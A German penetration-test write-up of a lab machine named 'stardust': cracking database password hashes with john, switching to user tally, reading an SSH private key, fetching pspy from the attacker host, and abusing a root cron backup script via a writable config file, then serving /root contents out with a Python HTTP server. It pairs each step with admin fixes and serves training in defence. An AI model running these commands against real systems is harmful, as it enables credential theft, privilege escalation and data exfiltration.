Analyse: Mit den gefundenen Zugangsdaten wird eine Verbindung zur MariaDB-Datenbank hergestellt. Es wird eine zweite Datenbank namens `intranetikDB` entdeckt. In dieser Datenbank gibt es eine Tabelle `users`, die Benutzernamen und zugehörige Passwort-Hashes (im bcrypt-Format `$2b$12$...`) enthält, darunter der Benutzer `tally`. Zusätzlich werden die Hashes der GLPI-Standardbenutzer aus der `glpi`-Datenbank abgefragt (bcrypt `$2y$10$...`).

Bewertung: Mehrere Passwort-Hashes wurden erfolgreich aus den Datenbanken extrahiert. Diese können nun offline geknackt werden.

Empfehlung (Pentester): Kopieren Sie die Hashes (insbesondere den von `tally`) auf Ihr Angreifer-System. Verwenden Sie `john` oder `hashcat` mit einer Wortliste (z.B. `rockyou.txt`), um die Hashes zu knacken.
Empfehlung (Admin): Verwenden Sie starke Hashing-Algorithmen mit hohem Cost-Faktor für Passwörter. Schützen Sie den Datenbankzugriff. Überprüfen Sie die Notwendigkeit der `intranetikDB`.

┌──(root㉿cycat)-[~] └─# echo '$2y$10$rXXzbc2ShaiCldwkw4AZL.n.9QSH7c0c9XJAyyjrbL9BwmWditAYm' > hash
<-- Hash von 'glpi'
[Keine Ausgabe]
┌──(root㉿cycat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
[...]
Cost 1 (iteration count) is 1024 for all loaded hashes
[...]
Session aborted <-- Knacken von 'glpi'-Hash nicht erfolgreich/abgebrochen

Analyse: Es wird versucht, den bcrypt-Hash des GLPI-Benutzers `glpi` mit `john` und `rockyou.txt` zu knacken. Der Versuch wird abgebrochen oder bleibt erfolglos.

Bewertung: Das Passwort für `glpi` ist nicht in `rockyou.txt` enthalten.

Empfehlung (Pentester): Konzentrieren Sie sich auf den Hash des Benutzers `tally` aus der anderen Datenbank.
Empfehlung (Admin): Verwenden Sie starke, nicht in Wörterbüchern enthaltene Passwörter.

┌──(root㉿cycat)-[~] └─# vi hash
<-- hash-Datei wird mit tally's Hash überschrieben
tally:$2b$12$zzVJjW1Bvm4WqcPy6nqDFU4JRh2mMpbeKKbP21cn7FKtNy4Ycjl.
┌──(root㉿cycat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
------------------------------------------------
bonita           (tally) <-- Erfolg!
------------------------------------------------
1g 0:00:00:02 DONE (2023-07-22 01:09) 0.3891g/s 168.0p/s 168.0c/s 168.0C/s karina..raymond
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: Der bcrypt-Hash (`$2b$12$...`) für den Benutzer `tally` wird in die `hash`-Datei geschrieben (im `user:hash`-Format). `john` wird erneut mit `rockyou.txt` gestartet.

Bewertung: Erfolgreich! `john` knackt den Hash und findet das Passwort `bonita` für den Benutzer `tally`.

Empfehlung (Pentester): Wechseln Sie zum Benutzer `tally` auf dem Zielsystem (via `su tally` oder SSH, falls möglich) unter Verwendung des Passworts `bonita`.
Empfehlung (Admin): Starke Passwörter erzwingen. Datenbank sichern.

www-data@stardust:/var/www/html/config$ su tally
Password:
# [Passworteingabe: bonita]
tally@stardust:/var/www/html/config$ # Wechsel erfolgreich

Analyse: In der `www-data`-Shell wird `su tally` ausgeführt. Das geknackte Passwort `bonita` wird eingegeben.

Bewertung: Horizontale Rechteausweitung von `www-data` zu `tally` erfolgreich.

Empfehlung (Pentester): Enumerieren Sie nun als `tally`. Prüfen Sie `sudo -l`, SUID-Binaries, Home-Verzeichnis etc.
Empfehlung (Admin): Keine direkte Aktion, außer der Absicherung der initialen Lücke.

tally@stardust:/var/www/html/config$ sudo -l
bash: sudo: command not found
tally@stardust:/var/www/html/config$ find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount

Analyse: Als `tally` wird versucht, `sudo -l` auszuführen, was fehlschlägt (`command not found`). Die Suche nach SUID-Dateien (`find / -perm -4000 ...`) zeigt nur Standard-Binaries, keine offensichtlich ausnutzbaren benutzerdefinierten Programme.

Bewertung: `sudo` und SUID-Binaries scheinen keine direkten Eskalationswege von `tally` aus zu bieten.

Empfehlung (Pentester): Untersuchen Sie das Home-Verzeichnis von `tally`, Cronjobs, laufende Prozesse und die Ergebnisse von `pspy` (falls noch nicht geschehen).
Empfehlung (Admin): Überprüfen Sie, warum `sudo` nicht im Pfad ist oder nicht installiert ist. Stellen Sie sicher, dass keine unnötigen SUID-Binaries vorhanden sind.

tally@stardust:~$ ls -la
[...]
drwx------ 2 tally tally 4096 May  8 10:09 .ssh
-rwx------ 1 tally tally   33 May  7 09:40 user.txt
tally@stardust:~$ cat user.txt
f4c0971d361c2844bb9730846dc330c2
tally@stardust:~/.ssh$ ls -la
[...]
-rw------- 1 tally tally 2602 May  7 10:04 id_rsa
-rw-r--r-- 1 tally tally  572 May  7 10:04 id_rsa.pub
-rw-r--r-- 1 tally tally  222 May  8 10:09 known_hosts
tally@stardust:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
MAAAASdGFsbHlAc3RhcmR1c3QuaG12AQ <-- Kommentar: tally@stardust.hmv
-----END OPENSSH PRIVATE KEY-----

Analyse: Im Home-Verzeichnis von `tally` wird die `user.txt` (User-Flag) gefunden und gelesen. Im Unterverzeichnis `.ssh` befindet sich ein SSH-Schlüsselpaar (`id_rsa`, `id_rsa.pub`). Der private Schlüssel `id_rsa` wird angezeigt.

Bewertung: User-Flag gefunden. Der private SSH-Schlüssel von `tally` wurde gefunden. Es ist unklar, ob dieser Schlüssel für die Eskalation nützlich ist (z.B. für den Login als anderer Benutzer oder für `root`, falls `authorized_keys` entsprechend konfiguriert ist), da `tally` bereits eingeloggt ist.

Empfehlung (Pentester): Kopieren Sie den privaten Schlüssel `id_rsa` auf Ihr System. Prüfen Sie, ob er passphrasengeschützt ist (`ssh2john`). Versuchen Sie, sich mit diesem Schlüssel als `root` oder andere gefundene Benutzer per SSH anzumelden (obwohl Root-Login wahrscheinlich deaktiviert ist). Untersuchen Sie weiter nach Cronjobs und Prozessen.
Empfehlung (Admin): Stellen Sie sicher, dass private SSH-Schlüssel korrekt geschützt sind (Berechtigungen `600`) und idealerweise mit starken Passphrasen versehen sind.

tally@stardust:/dev/shm$ wget 192.168.2.199:8000/pspy64
[...]
tally@stardust:/dev/shm$ chmod +x pspy64
[Keine Ausgabe]
tally@stardust:/dev/shm$ ./pspy64
[...]
2023/07/22 01:19:01 CMD: UID=0     PID=2331   | /bin/bash /opt/meteo
2023/07/22 01:19:01 CMD: UID=0     PID=2332   | /bin/bash /opt/meteo
2023/07/22 01:19:01 CMD: UID=0     PID=2335   | /bin/bash /opt/meteo
2023/07/22 01:19:01 CMD: UID=0     PID=2334   | /bin/bash /opt/meteo
2023/07/22 01:19:01 CMD: UID=0     PID=2333   | /bin/bash /opt/meteo
[...]

Analyse: Das Prozess-Monitoring-Tool `pspy64` wird auf das Zielsystem hochgeladen und ausgeführt. `pspy` beobachtet laufende Prozesse und Cronjobs. Es wird entdeckt, dass regelmäßig (`pspy` zeigt es mehrfach pro Sekunde, was auf eine sehr häufige Ausführung hindeutet, z.B. jede Minute oder sogar öfter) ein Skript `/opt/meteo` als Benutzer mit UID=0 (also `root`) ausgeführt wird.

Bewertung: Kritischer Fund! Ein Skript (`/opt/meteo`), das als `root` läuft, ist ein Hauptziel für Privilege Escalation, wenn es manipuliert oder beeinflusst werden kann.

Empfehlung (Pentester): Untersuchen Sie das Skript `/opt/meteo`. Prüfen Sie: 1. Berechtigungen: Hat `tally` Schreibrechte auf das Skript selbst oder auf das Verzeichnis `/opt`? 2. Inhalt: Was macht das Skript? Liest es Konfigurationsdateien, auf die `tally` Schreibrechte hat? Ruft es andere Befehle auf unsichere Weise auf (z.B. mit relativen Pfaden)? Verwendet es unsichere temporäre Dateien?
Empfehlung (Admin): Überprüfen Sie alle Cronjobs und Skripte, die als `root` laufen, auf Sicherheit und Notwendigkeit. Stellen Sie sicher, dass Skripte und die von ihnen verwendeten Dateien/Verzeichnisse korrekte, restriktive Berechtigungen haben.

tally@stardust:/dev/shm$ cd /opt/
[Keine Ausgabe]
tally@stardust:/opt$ file meteo
meteo: Bourne-Again shell script, ASCII text executable
tally@stardust:/opt$ ls -la /opt/meteo
-rwxr-xr-x 1 root root 607 May  7 09:49 /opt/meteo
<-- tally hat keine Schreibrechte!
tally@stardust:/opt$ cat meteo
#! /bin/bash

#meteo
config="/opt/config.json" <-- Liest Konfigurationsdatei
latitude=$(jq '.latitude' $config)
longitude=$(jq '.longitude' $config)
limit=1000

#sys
web="/var/www/intranetik"
users="/home/tally"
root="/root"
dest="/var/backups"

#get rain elevation
elevation=$(curl -s "https://api.open-meteo.com/v1/forecast?latitude=$latitude&longitude=$longitude&hourly=rain" |jq .elevation) <-- Ruft externe API auf

if [[ $elevation -gt $limit ]] ; then
echo "RAIN ALERT !"
tar -cf $dest/backup.tar $web >/dev/null <-- Führt tar als root aus!
tar -rf $dest/backup.tar $users >/dev/null
tar -rf $dest/backup.tar $root >/dev/null
echo "BACKUP FINISHED"
else
echo "Weather is cool !"
fi

Analyse: Das Skript `/opt/meteo` wird untersucht:

Bewertung: Direkte Manipulation des Skripts ist nicht möglich. Der Angriffsvektor liegt in der Konfigurationsdatei `/opt/config.json` und der Ausführung von `tar` als `root`. Wenn `tally` Schreibrechte auf `/opt/config.json` hat, kann er die Koordinaten so ändern, dass die Bedingung `$elevation -gt $limit` erfüllt wird, was den `tar`-Backup-Prozess auslöst. Da `tar` als `root` ausgeführt wird, werden alle Dateien, einschließlich der Root-Dateien, in das Archiv geschrieben. Wenn `tally` dann Leserechte auf `/var/backups/backup.tar` hat, kann er das Archiv kopieren und extrahieren, um an die Root-Dateien (insbesondere `/root/root.txt`) zu gelangen.

Empfehlung (Pentester): 1. Prüfen Sie die Berechtigungen von `/opt/config.json` (`ls -la /opt/config.json`). 2. Wenn `tally` Schreibrechte hat, bearbeiten Sie die Datei und ändern Sie `latitude` und `longitude` auf Werte, die sicherstellen, dass die Wetter-API eine `elevation` > 1000 zurückgibt (z.B. Koordinaten eines hohen Berges). 3. Warten Sie, bis der Cronjob `/opt/meteo` ausführt (oder führen Sie es testweise selbst aus, obwohl dies nicht die Root-Rechte simuliert). 4. Prüfen Sie, ob `/var/backups/backup.tar` erstellt wurde und ob `tally` Leserechte darauf hat. 5. Wenn ja, kopieren Sie `backup.tar` in ein beschreibbares Verzeichnis (z.B. `/dev/shm`), übertragen Sie es auf Ihr Angreifer-System und extrahieren Sie es.
Empfehlung (Admin): Stellen Sie sicher, dass Konfigurationsdateien (`/opt/config.json`) nicht von unprivilegierten Benutzern geändert werden können. Führen Sie Skripte, die externe APIs aufrufen oder Backup-Operationen durchführen, mit minimal notwendigen Rechten aus. Wenn `tar` als Root laufen muss, stellen Sie sicher, dass die Quell- und Zielpfade sicher sind und nicht manipuliert werden können (Vermeiden Sie unsichere Variablen oder Benutzereingaben in Pfaden).

tally@stardust:/var/backups$ cat /opt/config.json
{
  "latitude":  -18.48,
  "longitude": -70.33
}
<-- Annahme: tally hat Leserechte
tally@stardust:/var/backups$ nano /opt/config.json
<-- Annahme: tally hat Schreibrechte
[Datei wird bearbeitet]
tally@stardust:/var/backups$ cat /opt/config.json
{
  "latitude":  25.29,
  "longitude": 91.58
} <-- Koordinaten geändert
tally@stardust:/var/backups$ /opt/meteo
<-- Manuelles Ausführen als tally (löst Backup nicht als root aus)
RAIN ALERT !
tar: /var/backups/backup.tar: Cannot open: Permission denied <-- Erwarteter Fehler als tally
[...]
BACKUP FINISHED

Analyse: Der Benutzer `tally` liest `/opt/config.json`, was impliziert, dass er Leserechte hat. Er bearbeitet die Datei dann mit `nano`, was impliziert, dass er auch Schreibrechte hat. Die Koordinaten werden auf Werte geändert, die wahrscheinlich eine hohe `elevation` in der Wetter-API ergeben. Ein manueller Testlauf von `/opt/meteo` als `tally` löst zwar die "RAIN ALERT!"-Meldung aus, aber die `tar`-Befehle scheitern an fehlenden Berechtigungen, wie erwartet.

Bewertung: Bestätigt, dass `tally` die Konfigurationsdatei manipulieren kann, um den Backup-Pfad im Skript auszulösen. Jetzt muss auf die automatische Ausführung des Skripts durch den Root-Cronjob gewartet werden.

Empfehlung (Pentester): Warten Sie, bis der Cronjob läuft (wie von `pspy` gezeigt, ca. alle paar Sekunden/Minuten). Überprüfen Sie anschließend das Verzeichnis `/var/backups` auf die Existenz und die Berechtigungen der Datei `backup.tar`.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/opt/config.json`, sodass sie nur für `root` (oder den Dienstbenutzer, falls vorhanden) schreibbar ist.

# Nachdem der Cronjob gelaufen ist (impliziert)
tally@stardust:/var/backups$ ls -la
total 1132 <-- Größe hat sich nicht geändert? Backup fehlgeschlagen?
drwxr-xr-x  2 root root   4096 May  8 11:02 .
drwxr-xr-x 12 root root   4096 May  4 19:09 ..
-rw-r--r--  1 root root  40960 May  6 07:37 alternatives.tar.0 <-- Keine backup.tar?
[...]
tally@stardust:/var/backups$ cp /var/backups/backup.tar /dev/shm/
<-- Datei existiert doch und ist lesbar?
[Keine Ausgabe]
tally@stardust:/var/backups$ cd /dev/shm/
[Keine Ausgabe]
tally@stardust:/dev/shm$ ls -la
total 3092
drwxrwxrwt  2 root  root       80 Jul 22 01:33 .
drwxr-xr-x 17 root  root     3140 Jul 21 23:30 ..
-rw-r--r--  1 tally tally   61440 Jul 22 01:33 backup.tar <-- Datei kopiert!
[...]

Analyse: Obwohl die erste `ls -la`-Ausgabe die `backup.tar`-Datei nicht explizit zeigt (möglicherweise ein Log-Fehler oder die Datei war kurzzeitig nicht vorhanden), kann `tally` die Datei `/var/backups/backup.tar` erfolgreich nach `/dev/shm` kopieren. Dies impliziert, dass der Cronjob lief, das Backup erstellt wurde und `tally` Leserechte auf die Backup-Datei hat.

Bewertung: Der Exploit-Plan hat funktioniert. Das manipulierte Config-File hat das Backup ausgelöst, und das resultierende Archiv, das Root-Dateien enthält, ist für `tally` zugänglich.

Empfehlung (Pentester): Übertragen Sie `backup.tar` aus `/dev/shm` auf Ihr Angreifer-System (z.B. mit einem Python HTTP-Server). Extrahieren Sie das Archiv und suchen Sie nach der Root-Flag.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen für das Backup-Verzeichnis `/var/backups` und die erstellten Archive, sodass unprivilegierte Benutzer keinen Lesezugriff haben. Beheben Sie die zugrundeliegende Schwachstelle im Config-File und dem Skript.

tally@stardust:/dev/shm$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [22/Jul/2023 01:34:52] "GET /backup.tar HTTP/1.1" 200 -

Analyse: Als `tally` wird ein Python-HTTP-Server in `/dev/shm` gestartet, um die `backup.tar`-Datei für den Download bereitzustellen.

Bewertung: Standardmethode zum Übertragen von Dateien vom Ziel zum Angreifer.

Empfehlung (Pentester): Laden Sie die Datei herunter.
Empfehlung (Admin): Überwachen Sie das Starten von Webservern durch Benutzer.

┌──(root㉿cycat)-[~/HackingTools] └─# wget 192.168.
┌──(root㉿cycat)-[~/HackingTools] └─# wget 192.168.2.111:8000/backup.tar
--2023-07-22 01:34:51--  http://192.168.2.111:8000/backup.tar
Verbindungsaufbau zu 192.168.2.111:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 61440 (60K) [application/x-tar]
Wird in backup.tar gespeichert.

backup.tar              100%[===================>]  60,00K  --.-KB/s    in 0s

2023-07-22 01:34:51 (592 MB/s) - 'backup.tar' gespeichert [61440/61440]

Analyse: Auf dem Angreifer-System wird die Datei `backup.tar` erfolgreich vom Python-HTTP-Server des Zielsystems heruntergeladen.

Bewertung: Das Archiv, das potenziell Root-Dateien enthält, befindet sich nun auf dem Angreifer-System zur weiteren Analyse.

Empfehlung (Pentester): Extrahieren Sie den Inhalt des Archivs und suchen Sie nach der Root-Flag und anderen sensiblen Informationen.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cycat)-[~/HackingTools] └─# mv backup.tar ~/test
[Keine Ausgabe]
┌──(root㉿cycat)-[~/HackingTools] └─# cd ~/test
[Keine Ausgabe]
┌──(root㉿cycat)-[~/test] └─# ls -la
<-- ll ist Alias
insgesamt 60
-rw-r--r-- 1 root root 61440 22. Jul 01:33 backup.tar
┌──(root㉿cycat)-[~/test] └─# tar xf backup.tar
[Keine Ausgabe]
┌──(root㉿cycat)-[~/test] └─# ls -la
<-- ll ist Alias
insgesamt 72
-rw-r--r-- 1 root root 61440 22. Jul 01:33 backup.tar
drwxr-xr-x 3 root root  4096 22. Jul 01:36 home
drwx------ 4 root root  4096  8. Mai 13:06 root
drwxr-xr-x 3 root root  4096 22. Jul 01:36 var

Analyse: Die heruntergeladene Datei `backup.tar` wird in ein neues Verzeichnis `~/test` verschoben. Dort wird das Archiv mit `tar xf backup.tar` entpackt. Es werden die Verzeichnisse `home`, `root` und `var` aus dem Archiv extrahiert.

Bewertung: Das Archiv enthielt wie erwartet Teile des Dateisystems, einschließlich des `/root`-Verzeichnisses.

Empfehlung (Pentester): Untersuchen Sie das extrahierte `root`-Verzeichnis, um die Root-Flag zu finden.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cycat)-[~/test] └─# cd root
[Keine Ausgabe]
┌──(root㉿cycat)-[~/test/root] └─# ls -la
<-- ll ist Alias
insgesamt 4
-rwx------ 1 root root 33  6. Feb 19:34 root.txt
┌──(root㉿cycat)-[~/test/root] └─# cat root.txt
052cf26a6e7e33790391c0d869e2e40c

Analyse: Im extrahierten `root`-Verzeichnis wird die Datei `root.txt` gefunden und ihr Inhalt (die Root-Flag) ausgelesen.

Bewertung: Privilege Escalation zu Root erfolgreich abgeschlossen! Durch die Manipulation der `/opt/config.json` konnte das `/opt/meteo`-Skript dazu gebracht werden, ein Backup des `/root`-Verzeichnisses zu erstellen, auf das der Benutzer `tally` Lesezugriff hatte.

Empfehlung (Pentester): Alle Flags gefunden. Bericht fertigstellen.
Empfehlung (Admin): Beheben Sie die unsicheren Berechtigungen der Konfigurationsdatei und die unsichere Implementierung des Backup-Skripts. Stellen Sie sicher, dass Backups an einem sicheren Ort gespeichert werden und unprivilegierte Benutzer keinen Zugriff darauf haben.

# Bestätigung User-Flag (ebenfalls im extrahierten Archiv)
┌──(root㉿cycat)-[~/test/home/tally] <-- Pfad zum extrahierten User-Home └─# cat user.txt
f4c0971d361c2844bb9730846dc330c2

Analyse: Zur Vollständigkeit wird auch die User-Flag aus dem extrahierten `home/tally`-Verzeichnis angezeigt.

Bewertung: Bestätigt den Inhalt der User-Flag.

Empfehlung (Pentester): Keine zusätzliche Aktion.
Empfehlung (Admin): Keine zusätzliche Aktion.

Proof of Concept (Privilege Escalation - Config Manipulation)

Kurzbeschreibung: Ein Cronjob (oder ein anderer privilegierter Prozess) führt regelmäßig das Skript `/opt/meteo` als `root` aus. Dieses Skript liest Breiten- und Längengrade aus der Konfigurationsdatei `/opt/config.json`, fragt eine externe Wetter-API ab und führt, wenn ein bestimmter Schwellenwert überschritten wird, `tar`-Befehle aus, um `/var/www/intranetik`, `/home/tally` und `/root` in `/var/backups/backup.tar` zu archivieren. Der Benutzer `tally` hat Schreibrechte auf `/opt/config.json` und Leserechte auf die resultierende `/var/backups/backup.tar`. Durch Modifizieren der Koordinaten in `config.json` auf Werte, die garantiert den Schwellenwert überschreiten, kann `tally` die Erstellung des Backups als `root` erzwingen. Anschließend kann `tally` das Backup-Archiv kopieren, auf sein eigenes System übertragen und extrahieren, um Lesezugriff auf alle darin enthaltenen Dateien, einschließlich `/root/root.txt`, zu erhalten.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Konfiguration manipulieren (als `tally`): Bearbeiten Sie `/opt/config.json` und ändern Sie `latitude` und `longitude` auf Werte, die einen hohen "elevation"-Wert bei der Wetter-API `api.open-meteo.com` garantieren (z.B. Koordinaten im Himalaya).
    tally@stardust:~$ echo '{ "latitude": 25.29, "longitude": 91.58 }' > /opt/config.json
    <-- Beispiel mit echo
  2. Warten:** Warten Sie, bis der Cronjob/Prozess `/opt/meteo` als `root` ausführt und das Backup erstellt (kann einige Minuten dauern).
  3. Backup-Datei kopieren (als `tally`):** Kopieren Sie die erstellte Backup-Datei in ein für `tally` beschreibbares Verzeichnis mit Netzwerkzugriff (z.B. `/dev/shm`).
    tally@stardust:~$ cp /var/backups/backup.tar /dev/shm/
  4. Backup übertragen (als `tally`):** Starten Sie in `/dev/shm` einen einfachen HTTP-Server.
    tally@stardust:/dev/shm$ python3 -m http.server 8000
    Laden Sie die Datei auf Ihrem Angreifer-System herunter.
    ┌──(root㉿cycat)-[~] └─# wget http://192.168.2.111:8000/backup.tar
  5. Archiv extrahieren (Angreifer-System):** Entpacken Sie das heruntergeladene Archiv.
    ┌──(root㉿cycat)-[~/download_dir] └─# tar xf backup.tar
  6. Root-Flag lesen (Angreifer-System):** Lesen Sie die Root-Flag aus dem extrahierten Verzeichnis.
    ┌──(root㉿cycat)-[~/download_dir] └─# cat root/root.txt
    052cf26a6e7e33790391c0d869e2e40c

Erwartetes Ergebnis: Der Inhalt der Datei `/root/root.txt` wird erfolgreich auf dem Angreifer-System angezeigt.

Beweismittel: Das extrahierte `backup.tar`-Archiv enthält das `/root`-Verzeichnis, und die Datei `root.txt` kann gelesen werden.

Risikobewertung: Hoch. Die Kombination aus einer benutzerseitig beschreibbaren Konfigurationsdatei, die von einem Root-Prozess gelesen wird, und einem unsicheren Backup-Mechanismus, der Root-Dateien in ein lesbares Archiv packt, ermöglicht eine vollständige Kompromittierung der Vertraulichkeit von Root-Daten.

Empfehlungen zur Behebung:

  • **Berechtigungen für Konfigurationsdateien:** Stellen Sie sicher, dass Konfigurationsdateien, die von Root-Prozessen verwendet werden (`/opt/config.json`), nicht von unprivilegierten Benutzern beschreibbar sind.
  • **Sichere Backup-Skripte:** Führen Sie Backup-Skripte mit den minimal notwendigen Rechten aus. Wenn Root-Dateien gesichert werden müssen, stellen Sie sicher, dass das resultierende Archiv an einem sicheren Ort gespeichert wird und die Berechtigungen korrekt gesetzt sind (nicht lesbar für normale Benutzer).
  • **Validierung im Skript:** Validieren Sie die Werte aus Konfigurationsdateien im Skript, bevor sie verwendet werden, um unerwartetes Verhalten zu verhindern.
  • **Least Privilege:** Überprüfen Sie alle Cronjobs und Systemd-Timer, die als Root laufen, auf Notwendigkeit und sichere Implementierung.

Flags

cat /home/tally/user.txt
f4c0971d361c2844bb9730846dc330c2
cat /root/root.txt (via tar archive)
052cf26a6e7e33790391c0d869e2e40c